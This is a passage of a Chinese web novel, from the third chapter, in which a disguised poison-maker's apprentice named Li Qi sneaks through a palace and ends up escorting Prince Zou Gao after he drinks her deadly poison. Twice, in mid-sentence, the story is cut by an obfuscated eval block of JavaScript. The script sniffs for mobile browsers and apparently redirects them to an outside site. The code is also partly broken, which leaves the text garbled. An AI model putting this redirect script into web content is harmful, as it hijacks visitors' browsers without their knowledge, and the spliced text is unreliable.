这么想着,她弓着腰上前给邹杲倒了杯水,然后抬头笑盈盈看着他,极尽谄媚,双手奉上,“王爷请喝茶。” 不料,男人面容无奈、言辞诚恳,又挑刺说:“你知道这水放了多久,能确定有没有被人下毒吗?作为太监,调教你的公公没有教过你吗?在给主子送入口的吃食时,得先尝尝是否有毒。” 看到了他的表情,但李棋还是读不懂他的真实想法。 他看着十分纯良无辜,好像真的是为她着想,但李棋没法把眼前这古道热肠的人和传言中杀人不眨眼的罗刹联系到一起。 所以,李棋决定试探。 李棋直接抬头直视他,当着他的面翻了个大大的白眼,然后不耐烦端起壶,对着壶嘴喝了一口,还砸吧了两下嘴。 “没毒,王爷放心喝吧。” 但邹杲也不恼她,仍是温和笑着,“要是换别人,你早死了不知道多少回了。” 他的心情似乎很不错,他端起李棋先前倒的水喝了一口,笑着又问:“你是赵国贵族哪一脉的?恨本王吗?想不想报仇?” 终于不说暗话了,所以,这男人是把她当成赵国被掠到嬴国净身为奴的没落贵族了。 他这样问,是想拉拢作为赵国贵族遗脉的她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680487|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来,嬴国皇帝对他的忌惮也不无道理啊。 没等她组织好措辞再试探,一个清醇激动的声音在身后不远处响起,很快由远及近,“阿杲!” 还不等李棋回头看清来人,邹杲脸上笑意全无,挥手低声打发她,“你先走吧,注意尊卑礼节。” 他又提醒:“这是三皇子邹瑅,宫里如今就剩两个皇子,认错就说不过去了。” 一个异姓王爷当着疑是他国遗脉的太监直呼皇帝亲生儿子的大名,邹杲该不会是真的想造反吧? 李棋摸不清他心里到底是怎么想的。 不过多一事不如少一事,她还是要继续过悠闲日子的,正好趁这个时间先去拿到‘无忧’。 “谢谢。” 李棋低声道谢,快步离开,与三皇子擦肩而过时,还小声喊了声‘见过三皇子殿下’,不过,这个三皇子都没理她就是了,直奔邹杲而去。 李棋不由得放慢脚步悄悄回头,别说,这个三皇子邹瑅长得也挺不一般的,比邹杲更高大健硕的身体却张了一张清俊可爱稚气未脱的面庞,真是别有一番风味呢。 就是两人说起话来怎么感觉这么奇怪呢。 “殿下。” “阿杲,你以前都叫我阿瑅的,别叫我殿下,好生疏,好不适应,我好怀恋在外征战的那些年月……” “殿下,人不能总活在过去,咳。” 刻意的咳嗽声与邹杲阴冷的视线让李棋一惊,她不敢再偷看,连忙回过头,加快速度溜之大吉。 小气! 等她找回‘无忧’,她非要找机会弄清两人之间的关系,再把两人看个够。 为了美好生活能继续,李棋加快了步伐,又悄摸绑了个太监,问完话后,再一次把人打晕丢到草丛里。 * 她废了好大的力气,终于摸到了药房,药房太大,她一通翻箱倒柜,差不多凑齐了今早送进来的那批药,却没有找到‘无忧’。 “不会又来晚了吧!”李棋看着整面墙的大药柜,忍不住哀嚎。 嘎吱—— 药房的大门被人从外面推开了,李棋赶在门开之前,猫一样,悄无声息跃到房梁上。 只见,一个衣着比其他太监华贵的老太监提着灯笼走了进来。 李棋看着他一番摸索敲打,然后从暗格里拿了一个瓷白的小瓶子塞到怀里。 瞬间,李棋眼睛都睁大了,这就是她要找的东西。 她果然来晚了,至少无忧的毒性已经被人知道了。 原因无他,小瓶子的瓶塞换了,她之前随手塞进去的纸条早就不在了。 顾不得其他,在老太监转身准备离开时,李棋用内力关了门,同时跃下房梁,摸出别在小腿上的匕首,精准地架在老太监的脖子上。 “怀里的是什么东西?拿出来。” 保险起见,李棋已经换回了她的一身黑色夜行衣,脸遮住了,声音也特意压低加粗,是最没有记忆点的大多数男人的声音。 “这里可是大嬴的皇宫,哪里来的小贼,真是不知死活!”老太监丝毫不慌,神色傲然,“何况,你这小贼是忘了十年前公诏了吗?忘了违反公诏的江湖势力受到的惨痛教训了吗?” 他说着,宣读圣旨一般,“江湖人士不得入皇宫生乱,不得入朝堂作歹,不得与朝臣勾结、搅乱朝政,否则,作恶者及其妻儿父母杀无赦,上下三代皆贬为奴籍,永世赎罪。” “关我屁事,我就是一个无名无姓的乡野小儿而已。”李棋还真没被他唬到,她粗鄙说完,又粗声喝道,“快把你怀里的东西拿出来!” 老太监冷嗤一声,“哼,乡野竖子,不知好歹。” “到底谁不知好歹?”李棋说着手上的匕首压了下去,老太监的脖子上瞬间出现血痕,“再啰嗦,别怪我又手抖了。” 老太监怂了,十分屈服地从怀里掏出一个小瓷瓶。 瓶子是李棋所熟悉的,但是,打开一看,里面的东西就不是她熟悉的了。‘无忧’是液体,墨绿色的液体,然而,小瓶子里面却是一枚黑色的药丸。 “里面原本的东西呢?”李棋是真的被气到了,“你在耍我!” 她说着,动手点了老太监的穴,然后在老太监怀里、宽袖中翻找,毫无收获。 老太监似乎十分屈辱,敢怒不敢言。 李棋翻了个遍,也没能在老太监身上找到别的瓷瓶。 “这里的暗格的开关都在哪?全部给我打开,不然别怪我不客气了。” 李棋解了他的穴,横在他脖子上的匕首却又加重了力道,渐渐干涸的血迹又被新鲜血液覆盖。 老太监没敢再啰嗦,伸手在柜子上摸索了几下,也不知道他的手按了哪里,暗格顿时全部都打开了。 李棋先点了他的穴,又从腰带上摸出银针,往他身上扎了几下,做了双重保证,才去查看。 有老太监的灯笼在,她顺利很多,但是却一直没有找到她想要的。 “这里的药物都是谁负责?有记录吗?在哪?”李棋将匕首逼近他的眼睛。 这次,他倒是识时务了,配合得不行。 “记录在最左边的柜子里。” 李棋连忙找到他眼睛看向的地方,翻到了记录,并且找到了无忧的相关记录,五月初一、午时、沙於。 “沙於是谁?” “大总管,陛下的心腹。”老太监道,“他此时应该是在浩鸿大殿后面的御书房里。” “你最好没骗我。”李棋说着,朝他走过去,手里的银针又往他身上扎了一下,见他晕倒在地上,这才熄灭灯笼,夺门而出,一跃跃到了房顶之上,身形飞快。 回家心切、初入江湖的李棋完全没注意,老太监在她扎针时,没有丝毫的挣扎就先顺势倒下了,像是知道她会这样做一般。 她更不知道的是,就在她跃上房顶之后,一个瘦削但挺拔高大的身影从药房后方的另一个拐角处走了出来。 月光下,来人看着她远去的方向,摇头低语:“性子还是这么急,旁人说什么就是什么。” 目送李棋远去,来人轻轻推开门,走进屋里,给老太监扎了三针,又往老太监嘴里塞了一颗药丸。 “沙公公,您可以醒来了。” 他话音刚落,老太监缓缓睁开了眼。 看着带着和煦笑容的年轻男人朝自己伸出的手,沙於很不屑,但还是借力站了起来。 沙於站起来后,看着比自己高了半个头的年轻男人,扫了他一眼,厉声警告:“你回去罢,陛下交代你的事,别办砸了。” “是,多谢沙公公提醒。”子瞮低着头,弯着腰,谦逊行礼道谢,谨慎地原路返回,离开了药房。 沙於冷哼,看着他离开后,这才转身将所有暗格复位,捡起灭了的灯笼,飞快朝御书房而去。 ———— 关于主要人物的身高设定:李棋175,邹杲190,邹瑅193,子瞮185,成武帝191 3. 无尽卷·第三章 3 李棋终于摸到老太监所说的御书房,御书房外围守卫的数量与浩鸿大殿的不相上下。 费了一番功夫和精力,她才在不惊扰守卫的情况下摸到房顶上。 她刚揭开一片瓦片,还不等她仔细看,先和不知何缘故仰头看天的邹杲四目相对了个正着。 瞬间,她的心咯噔了一下,还不等她做出反应,就先看到了邹杲手里拿着的一个小瓷瓶。 这瓷瓶和刚刚在老太监那里得的那个一模一样,还不等她反应过来,本就仰着头的邹杲已经将里面的液体一饮而尽。 看着那墨绿色的液体从瓷白的瓶子里缓缓流入邹杲唇齿之间,李棋人傻了,心也死了,久久反应不过来。 那是一滴就能弄死一头大老虎的‘无忧’啊! 这个男人居然把‘无忧’全部喝到肚子里去了! 刚刚不是还暗示她,他要造反吗?怎么现在就不想活呢! 还不等她反应过来,邹杲朝她挑眉笑了笑,唇边、宽大袖子下的一根小拇指轻动了下,是驱赶的手势,在示意她快走。 这时她又听到了在浩鸿殿听到过的中年男人无奈叹惋的声音。 “阿杲,你这是何必呢。宁愿喝这无解的奇毒,也不愿娶朕的女儿吗,静姝娴静美丽,当真比不上你那年幼时只有一面之缘的小女子吗?” 皇帝的声音比起在大殿时的疏远,此时像是亲近的长辈的无奈与惋惜。 虽然李棋还沉浸在舒坦日子离她远去的悲伤中,但想着任务已经完不成了,再不偷听一些机要都对不起她跑这一趟。 于是,她不但没有按照邹杲的暗示赶快走开,反而还凑近了点,屏气凝神认真偷听。 邹杲不卑不亢,“陛下早就知道臣的心意,何必再问。” “朕倒是开始好奇那女子究竟是何方神圣了,一个七八岁的小女娃,竟让你记挂了数十载之久。” 成武帝合拢手里拿着的奏折,直勾勾看着邹杲,好奇又问:“就算她还活着,你就不怕她不复儿时模样,或者早已嫁为人妇,为别的男人诞下子嗣?” “一切,待臣找到她便能知晓了。” 邹杲眉眼低垂,躬身行礼,言辞诚挚,“她救了臣的母亲,并且与臣做了约定,无论如何,臣都应该遵守约定先找到她,再按照她的意愿行事。” 李棋皱眉,也不知道邹杲这番话有几分真几分假。 尽管和邹杲只有两面之缘,或许他真的重情重义,但李棋不觉得在她面前表现得过于温和的男人是个表里如一的人。 成武帝又说话了,他的声音听起来很复杂,有无奈,也有赞许。 “倒是朕忘了,阿杲你向来重情义。” 邹杲弯着腰低着头,没有说话。 成武帝放下手里的奏折,起身一步一步朝邹杲走过去。 他握住邹杲的手,“阿杲,你现在找朕,除了拒绝和静姝的婚约,是还打算和朕辞别,去寻你那位心上人吗?” 邹杲仰头看了成武帝一眼,李棋看不清他的表情,不知道他是错愕,还是解脱。 片刻,李棋才听到他像模像样道:“如今天下大统,需要的不再是臣这种一身蛮力的武夫,恳求陛下允许臣离开都城,到处走走看看,寻寻我那心心念念的人儿。” 成武帝有片刻的迟疑,他抬起手掌,缓缓放在邹杲的左肩膀上,良久叹了口气,“阿杲,你可想好了,当真要去寻她,一个缥缈无踪之人?” “是,陛下,不找到她,臣一生难安。” 邹杲终于抬起头来,李棋也看清了他脸上的表情,看起来是那么的真诚与坚定。 成武帝收回手,十分无奈地摆了摆手,“罢了,朕准了。你且去找你那心上人吧。” “臣叩谢陛下体谅。”邹杲说着,就要跪下,但是成武帝先一步拦住了他,将他扶了起来。 “父子之间,不必如此疏离。” 这话一出口,两人沉默了良久。 “是,帝父。” 邹杲喊完,犹豫片刻,又道:“帝父,儿臣当时与心上人约定,承诺她,会穿着紫色蟒袍前去娶她。还请帝父破例允许儿臣在朝堂之外身着这身紫袍。” 成武帝一愣,收回手,负手背在身后,失笑道:“不过是一身衣裳,不必特意问朕,你是大嬴的王,除了朕这一身,还有什么你穿不得的。” 邹杲跪谢圣恩,成武帝连忙将其扶起,之后便是久久的无言。 成武帝叹了口气,心疼且懊悔,“阿杲,你刚刚喝下的毒药是沙於找来的,据说是由江湖上医毒双绝的蛮菩萨所制,朕的手里也没有解药,亦不知其毒性如何,但其毒性肯定不会在短时间内发作,你且自去寻一寻那蛮菩萨,让他给你把毒解了,再去找你那心上人吧。如此,朕也放心些。” “是,儿臣明日便去拜访蛮菩萨,求取解药。” 他又说:“夜深了,龙体为重,帝父也该休息了,儿臣便先回去了。” 成武帝摆了摆手,示意他可以离开,随后便自顾自回到桌子后坐下,拿起之前放下的奏折心不在焉又看了起来。 李棋看到邹杲缓慢退出去几步,片刻的迟疑后,他又快步倒回成武帝面前。 只见,他从宽大的袖子里掏出半枚老虎形状的小东西,双手捧着递到成武帝面前,“帝父,这是四年前,您亲手交与儿臣的。如今大嬴一统,国泰民安,日后不必再征战,这虎符也没必要再留在儿臣手中了。” 成武帝接过虎符,粗粝的大手摩挲着虎符,情绪复杂看着邹杲,久久没有说话。 两人要相对望,要不是李棋之前清楚看到了邹杲的犹豫与挣扎,都要感叹一声‘父子情深’了。 这回,邹杲没有等他的答复,恭敬又行了个拜礼,然后转身大步离开了。 李棋还在感慨这两人弯弯绕真多,一言一行都暗藏深意。 突然,快出御书房的邹杲朝她的方向看了一眼,还挑了挑眉,似乎是让她跟上去。 就这么错过了‘无忧’,李棋一时都不知道该如何跟她师父交代。 索性邹杲也有意去寻她师父,那她便暂且跟着邹杲好了。 * 不跟不知道,一跟吓一跳,虽然不知道其中有几分真心,但是表面上,皇帝真的给了邹杲足以令世人艳羡的宠爱。 连皇子皇后都不能在皇宫里坐车辇,但是邹杲却可以,他的车骑直接停在了浩鸿大殿的侧边。 李棋在黑暗中看着邹杲上了马车,眼看两个车夫就要上车,她瞅准时机,声东击西,捡了个石子扔出去,在两个车夫转过身去查看的时候,飞快钻到马车下面。 她经常倒挂在树上练功、打发时间,手臂和小腿虽然看着细瘦,但实际都是肌肉,力量相当了得。 车很快启动,缓缓驶出皇宫。 李棋静静挂在车底,思考着该怎么处理,都没注意,车子越走越偏。 没多久,车停了,邹杲温柔打趣的声音从马车上方传来。 “出来吧,小太监,扒车底都快两炷香的时间了,胳膊不酸吗。” 见状,李棋也不再坚持,直接从车底爬了出来,顺着小窗户钻进了马车。 “你果然早就发现我了。”李棋挫败坐在邹杲对面,蔫哒哒道谢,“谢王爷包庇之恩。” “不谢。”邹杲心情愉悦笑了笑,端起旁边的糕点递给她,“忙活一晚上,饿了吧,吃点吗?” “谢王爷。” 这糕点居然还是热的,闻着很香,李棋也不客气,整盘接了过来,一口一个,吃得好不舒坦。 她是抱着泄愤的心态咬下去的,吃到嘴里,却发现这糕点做得很合她的胃口,一时间心情都好了很多。 邹杲又给她倒了杯酒,同时使唤车夫继续赶路。 这酒赫然是李棋刚刚在他身上闻到的不知名美酒,那叫一个香醇。 李棋接连吃了五块糕点,喝了满满八杯美酒,这才打了个饱嗝,不再进食。 看着笑眯眯、心情似乎很愉悦的邹杲,李棋也放松很多,直言道:“草民有一事不明,求王爷解惑。” “却之不恭。” 文绉绉的,不是李棋的风格,她直接问道:“早在王爷撞到我身上的时候,就知道我不是宫里的太监了吧,王爷你是怎么一眼认出我来的呢?又是因为什么没有揭穿我?还有你与我说的那些遗脉傲骨之类话,难道只是为了逗我?” 邹杲但笑不语,好一会儿,才回答了她其中一个问题。 “味道。” “味道?什么味道?”李棋抬起胳膊嗅了嗅,没在自己身上闻到什么特别的味道。 甚至为了避免暴露,早在去拜访第一个药商之前,她就用从香馆买来的香掩去了身上的药香。 邹杲却不再为她解惑,他端起酒抿了一小口,又轻描淡写笑着回答他的第二个问题,“至于为何不揭穿你,你要是被抓了,谁带我去见蛮菩萨呢。” “什么!”李棋差点没被自己的唾液呛死,邹杲将手里的酒递给她,她接过喝了一大口,才缓过来。 她想过很多可能,唯独没想到邹杲知道她的真实身份这一可能。 师父和药商做生意用的是假名,她偶尔帮忙清点装车,用的也是假名。 旁人只知玄林住了一对擅长制药的师徒,师父付云,徒弟小七,其药虽好,但性情古怪,难遇更难求。 至于蛮菩萨其人,更是早就销声匿迹于江湖,已经许久不曾有人有过他的消息了。 是谁泄露了她和师父的身份? 那些江湖情报组织吗?那他们的手里不会还有她和师父的画像吧? 见邹杲的模样不像是在诈骗她,她也不掩藏了,只质问,“关于我和蛮菩萨的消息,你是从哪里来的?” 邹杲不答反问,笑道:“你该不会天真的以为你在守卫森严的皇宫来去自如是因为你身手超凡吧?” 李棋一惊,皇宫守卫虽然森严,但这一行对她来说的确过于顺利。 她先前还以为是她轻功过人,但看邹杲这反应,显然是有人给她放水。 但师父向来不屑与权贵为伍,否则也不会在三年前得知师兄要去博仕途的时候,以断绝师徒关系来威胁他了。 见她许久不说话,邹杲好笑又说,“你一个初出茅庐的傻小子,一时天真也是正常的,不必如此闷闷不乐。” 李棋猛地抬头,怔怔看着他,难以置信问他:“初出茅庐的?傻小子?” 邹杲不明所以点头,“有什么问题吗?” 他又说,“这也不是重点吧。” 问题大了好吗! 所以,邹杲知道她的真实身份,却不知道她是女的?更没看出她是女的? 明明她上车后,没有再刻意压低声音说话! 这是在变相夸她伪装技术好,还是暗示她长得很丑? 见她愣着没有下一步的动作,邹杲抬手在她面前晃了晃,“你问完了吗?礼尚往来,你问完了,是不是该本王。” 李棋还没从她看起来像男人的噩耗中缓过来。 但正事要紧,她心累点头,示意邹杲问。 邹杲也不客气,直接说:“看你这样子,你对你师父是否参与其中估计并不知情了。那么,本王能问问,这毒药,除了你和你师父,还有谁知道它的存在吗?” 李棋摇头,面色也越发凝重。 ‘无忧’的研发制作迄今为止虽然已经有两年,但在不久前才刚完成第一轮的毒性试验,解药都还没来得及配,在她的记忆中,就只有她和师父知道。 所以,先将‘无忧’不小心混到普通药物中,又让她追着‘无忧’来到鄂阳,从而结识邹杲,这一切都是师父做的局吗? 可是师父为什么要这么做呢?明明师父很抗拒师兄入仕,又为什么要和如今的皇帝往来? 还是说,有人在暗处监视着她和师父的一举一动。 可什么样的人,能神不知鬼不觉监视她和师父这么久,且不被他们抓到丁点的蛛丝马迹呢? 过了好一会儿,邹杲才轻语笑问:“怎么,是想到别的什么了吗?” 李棋怔怔看向他,良久才收回视线。 她没有正面回答,只恶作剧一般对他讥诮笑道:“没有,我只是突然想到,‘无忧’没有解药,也不确定能不能配出解药呢。” 说到这,她特意停了下来,等着看邹杲惊慌失措的模样。 但邹杲依旧淡定看着她,似乎在等她的下文。 李棋不爽加重语气,“就算这样,你也还是打算和我回去见我师父吗?” 邹杲好笑反问:“不然呢,待在家里等死吗?” “你可以趁还没有死,先去找你的心上人,要是侥幸能找到,至少不留遗憾。” 邹杲一愣,随即叹息说,“活着才有更多可能。” 他语重心长的模样,好像李棋才是那个活腻了要找死的人一样。 李棋:………… 邹杲笑意盈盈又说:“况且,若她当真在等我,好不容易找到却不能长相厮守,不是又留下了更大的遗憾吗?” 这话在理,李棋服了,不再说话,马车里迷之安静。 过了一会儿,邹杲又问:“你叫什么名字?” 身份都暴露了,李棋也懒得再编个假名字了,“李棋,棋子的棋。” 李棋还在仔细回忆师父不对劲的地方,她还是没法相信她师父会以她为棋子,和成武帝为伍。 她想不通她师父有什么要通过他最不齿与之为伍的皇族才能达到的目的。 突然,就听邹杲评价道:“和梁国的小公主的名字很像。只是她的蕲是‘外阖不闭,跨天下而无蕲’的‘蕲’,意同‘祈求’之‘祈’。” 李棋一怔,不置可否,只拿起一块小点心低头小口啃着。 之后,两人再没有人说话,就这么安安静静地回到了常胜王府。 * 当晚,李棋直接在常胜王府住下了。 第二天一早,太阳才刚刚升起来,李棋和邹杲就准备出发了。 这次,邹杲的马车不是两匹马并驾齐驱了。 只有一匹马,不过,这马很与众不同,不止是外形,还包括它周身散发的气势。 马是很常见的枣红马,但它高大威武,身上还有着着一种睥睨一切的气质,这点倒是比邹杲这个战神罗刹更像战神罗刹。 “这马好威风啊!”李棋说着想去摸它,但却被它躲开了。 “千赤有灵,本是山间野马,陪我经历了上百次大大小小的战役,只认我。”邹杲颇为骄傲说着,得意拍了拍它。 它果然就乖乖听话了,很温顺地在他的手上蹭了蹭。 李棋更感兴趣了,“你可以让它也听我的话吗?” 邹杲挑眉笑了笑,又摸了摸千赤,原本还桀骜不驯的烈马瞬间就温顺了很多。 “现在你可以摸它了。” “真假?” 李棋试探伸出手,不料它当真没躲,乖乖站在原处低着头任由它摸。 “哇,它真的好听你的话啊!” 邹杲骄傲又得意的笑笑,并没有再自夸。 李棋如愿以偿摸到了它,开心极了,但是下一刻,说出的话却很不中听。 “事不宜迟,我们走吧,要是配不出解药,你最多只有一百九十五天可活。这毒我和师父只试验过一次,那几只动物只服用了一小滴,但最后都死得很难看。” 说到这,李棋看邹杲的眼神越发稀奇,“你全部喝了,也不知道药效得有多猛。” 邹杲好像并没有那么担心,他从衣袖里摸出一根莹润的黑色玉簪和一个金镶翠玉的玉佩。 他将玉佩挂在腰间,又取下头顶的黄金发冠,直接扔给旁边候着的管家。 他一半头发散下来,一半头发用玉簪束好,这才轻笑问:“毒发前的症状如何?也会很难看吗?” 李棋目睹他整理头发的全过程,别说,这个过程还挺赏心悦目的。 李棋收回视线,摇头如实道:“过程倒是没那么难看。” 又说,“中毒的前十三天,一切正常,之后的十三个十三日里,七情六欲会逐渐混乱失控,五感会逐渐消失,在这时候,都还有救。一旦到了最后十三天,五感回光返照、七情六欲恢复正常,这时候,就没得治了。你会在最后几天的睡梦中慢慢从内里腐烂,直至化为一滩血水而彻底死亡。” “这‘无忧’还真是让人无忧啊!”邹杲淡淡一笑。 李棋愕然,这样也笑得出来。 “这就是传说中的不败战神的魄力吗?” “你以为呢!”邹杲挑眉笑了笑,径直上了马车。 李棋站在马的旁边,看看已经坐进马车的邹杲,又看看千赤,她有一瞬间的怀疑,不确定问:“你拿我当马夫?” 邹杲掀开帘子,理所当然朝她笑了笑,“我是王爷,你是草民,你为我驾车有什么问题吗?” “我……” 李棋气得想掀了马车,她算是看明白了,这个男人跟个狐狸似的,惯会用一张脸和一张嘴把人玩弄于股掌之间。 但不得不说,这样的邹杲也别有一番韵味,让她更想一亲芳泽了。 邹杲可怜眨眨眼,柔弱催促,“快啊,你不是说我的时间不多了吗?还是说,你想看着我死去?” 李棋回过神来,不行,千万不能被这个狐狸精拿捏了,不然以后她就只能心甘情愿给这个狐狸精当牛做马、奔波卖命。 这样想着,她没好气撑着车架跃上马车。 她一把掀开帘子,撑着门框,恶狠狠道:“王爷,麻烦你搞清楚状况,现在是你有求于我,不是我有求于你,你不把我供着都算我大度,让我给你驾车,你是不是也太过分了点?” “也是。”邹杲恳切点头,随后可怜巴巴又道,“可是,现在还在皇城,若是我自己抛头露面驾车,就坐实了我落魄了、失宠了的传闻。” 我见犹怜的模样,李棋有些动摇。 但他突然的称呼,让李棋瞬间只想骂人。 “李兄弟你有所不知,为了今天的地位,我真的得罪了太多人,一旦坐实我失宠的传闻,他们肯定会趁机打压我,买凶追杀我也不无可能。” 李棋没好气顺着他的话反问:“所以?” “所以,就麻烦你了,李兄弟。”邹杲笑着保证,“若本王留得性命归来,本王保你与你的父母儿女兄弟姐妹荣华富贵、一世坦然。” 李棋被气得简直无话可说。 谁是你李兄弟,我是你李大爷还差不多! 李棋昨夜的伪装很简陋,只裹紧了胸部,没有将露在外面的皮肤涂黑,虽然她的容貌比较英气,但也是公认的美人好吗。 还有,她这会儿明明没有刻意压低声音,更没有裹紧胸部,邹杲眼瞎,难道耳朵也聋吗? 她的声音虽然不算柔美,但也算不上沙哑粗粝吧? 还有她的那处,虽然算不上惊天地泣鬼神,但也有不小了好吗? 该死的邹杲,该不会是故意的吧? 就像昨晚在皇宫中拿她当落魄的赵国遗脉逗弄一样? 偏偏,李棋没能从他脸上看到哪怕半分的刻意逗弄。 并且,邹杲能屈能伸,完全没有王爷或战神的架子,喊完兄弟,还可怜兮兮对着她眨巴眼睛。 看着他那白皙俊朗,还带着几分弱不禁风的病气的出色容颜,李棋说不出拒绝的话来。 直接提出骑他的要求不太好,李棋退而求其次,“回头把千赤借给我骑两天。” 她本以为邹杲不会轻易答应,谁知道,他毫不犹豫就点头了。 “好,只要李兄弟高兴,别说两天,两个月都行。” 李棋到嘴边的话被堵了回去,但她兴奋更多。 这么桀骜不训的马儿她都能骑了,还愁骑不到马儿的主人吗! 她有信心,这是迟早的事。 她朝邹杲伸出手,“一言为定!” 邹杲笑笑,配合伸出手和她击掌为誓。 李棋开心了,转身坐下,牵住缰绳,高声喝道“驾!”,而后猛地一扬缰绳。 然后…… 千赤纹丝不动,她也呆滞了,一动不动。 还是马车里的邹杲掀开帘子探出身来,拍拍千赤的马屁股,柔声说了句“千赤,走了。”,马才动起来。 李棋尴尬极了,同时越发想征服它。 “它果然有灵!” “本王没必要骗你。”邹杲笑着说完,不等李棋做什么,放下帘子坐回马车里。 李棋欲言又止,没说出口的话最后还是被跑得飞快的千赤逼了回去。 千赤虽然没有脱缰,但果然是野马,跑得飞快,虽然还早,但是大街上已经有行人了,李棋怕撞到人,只得用力抓着缰绳。 * 李棋驾马先去了一趟天下第一阁,她得去拿回她的包袱,钱财无所谓,主要是九龙神鞭还在里面。 将马车停到侧边的巷子中,李棋掀开帘子对马车里的邹杲说:“你在这里等会,我去取我的包袱,马上回来。” 邹杲在马车里喝酒,非常悠闲。 “嗯。”他应了一声,悠闲摆手示意李棋去吧。 他这悠闲样,看得李棋眼红。 李棋没好气抢过他手里的白玉酒壶猛灌了一口。 邹杲笑笑,并不护食,“慢点,这天下第一阁的红尘醉虽然难得,但本王还有许多。” 抹去顺着下巴往下流的酒液,李棋不屑嘁了声,“行行行,知道王爷你家大业大了。” 李棋将酒壶塞回他手里,放下帘子,跳下马车大步走进客栈。 客栈里这会儿还没多少人,只有一个掌柜和两个店小二。 之前和她闲聊的店小二看到她先是一怔,而后才不确定问:“公子,您是住甲字号房那位李公子吧?您怎么从外面回来?您看着白净了许多,身形也……” 店小二呆滞从她的脸看到她的胸口,脸瞬间就红了,立刻移开视线。 这才是正常男人该有的反应,李棋并没追究他刚刚眼神上的冒犯。 “是我,出门在外,总得注意些不是。”她笑着用原本的声音糊弄了一句,又说,“我家中有些急事,得回去了,上去拿了东西就走。” 掌柜拉住还欲再问的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680488|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店小二,恭敬说:“是,马上给公子结账,公子下来时,我会将该退给您的钱财准备好。” “不用,剩下的钱你们拿去卖壶好酒喝喝吧。“ 掌柜和两个店小二都是一愣随后大喜过望,连连感谢她,李棋笑了笑,没有多说,一蹦一跳飞快跑上了楼。 走到楼梯口,她还没取出小腿上的匕首,便先察觉不对。 她昨晚出门时走的窗户,走之前,还特意从里面栓上了房门,而现在,门缝微开,显然是有人在她之前进入了房间。 李棋的脸色变得严峻,她静下心来,听到屋中的呼吸和心跳声,确定屋里有人。 无论来人是谁,为了她的宝贝神鞭,她都得进去一探究竟。 李棋抽出小腿上的匕首,握在手中,而后一脚踹开了门。 “什么人……娘亲,你怎么来了?”狠厉的质问还没说完,李棋在看清来人后,语调直接变成了不可思议的惊喜。 看着风华依旧、温柔明艳的美人,李棋兴奋不已,直接跑过去,扑进了她的怀中。 纪敏伸开双手接住她,戳了戳她的脑袋,嗔怨笑骂:“都是该做娘亲的年纪了,怎么还是这么冒失。” 纪敏说着,松开她,上前去将门栓上。 李棋跟屁虫一样跟在身后,等她把门关上,无赖一样又抱住她的胳膊,小狗一样使劲嗅了一大口。 “娘亲今天不但衣服打扮不够明艳,身上的香味也不够浓郁,要使劲闻才能闻到,不然我早都认出你来了。” 纪敏好笑捏了捏她的鼻尖,温柔笑骂:“你是小狗吗,每次见到我,第一件事就是闻我身上的气味。” 母女俩在客栈的大软床上坐下。 李棋直接抱着她的胳膊,赖到她怀里一通蹭,同时娇蛮说,“我喜欢这个味道嘛,谁叫娘亲你小气的,你要是把这个香的配方给我,我说不定早都闻腻了,娘亲,你就把配方给我看看嘛……” 话还没说完,纪敏轻飘飘戳着她的脑袋笑骂道:“少来,我安身立命的手段,怎么能轻易给出去。你不是喜欢研究吗,自己研究吧。” 见撒娇没用,李棋又猛吸了两大口,便从她怀中离开。不过,李棋还是紧紧抱着她的胳膊。 “娘亲,你怎么知道我在这里?” 她开心又道,“你来得正好,我遇到一个很俊朗的男人,但我有些拿不准主意。” 纪敏温柔帮她整理好碎发,这才抓着她的手、看着她的眼睛严肃道:“你不用知道这些,我来,只是想给你提个醒,免得你死在子瞮和你师父他们的手中。” 李棋脸上的笑容瞬间僵硬。 纪敏却捏了捏她的脸又道,“你说的男人是常胜王吧?我和他没有什么往来,但年纪轻轻就爬到如今的高度,他远没有你看到的那么简单。你不是他的对手,若是实在好奇,可以找机会尝一尝,但切记不要对他抱有期待,更别轻易把自己的心交出去。” 她后面的叮嘱李棋没听进去,上一句李棋还没法接受。 好一会儿,李棋才反应过来,强撑着挤出笑容,“娘亲,你该不会是被有心之人利用了吧,若是没有师父和师兄,我早都死了,他们怎么会害我?而且,他们也没有理由会害我啊!” 纪敏脸上也没了笑容,只有李棋讨厌的同情与怜惜。 她温柔摸着李棋的发顶,“小七儿,你平常大大咧咧、没心没肺,但我知道,你聪明且心细。很多事情,因为各种原因,我不能直接告诉你。但是,我看着你长大,实在不忍心看着你走我的老路。” “你比曾经的我聪明,武功也比曾经的我高强,你是有摆脱棋子身份后自保、甚至是逆风翻盘的本事的。” 李棋再也笑不出来,看着纪敏,久久说不出话来。 纪敏也于心不忍,但却做不了什么。 纪敏起身,温柔又摸了摸李棋的发顶,“小七儿,我不能久留,更不能长久陪伴在你身边,我知道你讨厌勾心斗角,但是没办法,凡事多留个心眼,这样才能活。” 见她要走,李棋连忙抓住她的手臂,“娘亲,没有别的化解之法吗?我回玄林去,永远不出来也逃不过吗?” 纪敏回头看着她,残忍摇头,“毒赋不会准你回玄林。” “那我就藏到虚无岛去!” 纪敏用平静到残酷的语气说道:“毒赋和鬼旸之间的渊源比我们看到的更深,鬼旸若真的心疼你,早就把你带到虚无岛去了。” 她道:“小七儿,就算藏到天涯海角,你都躲不过。” 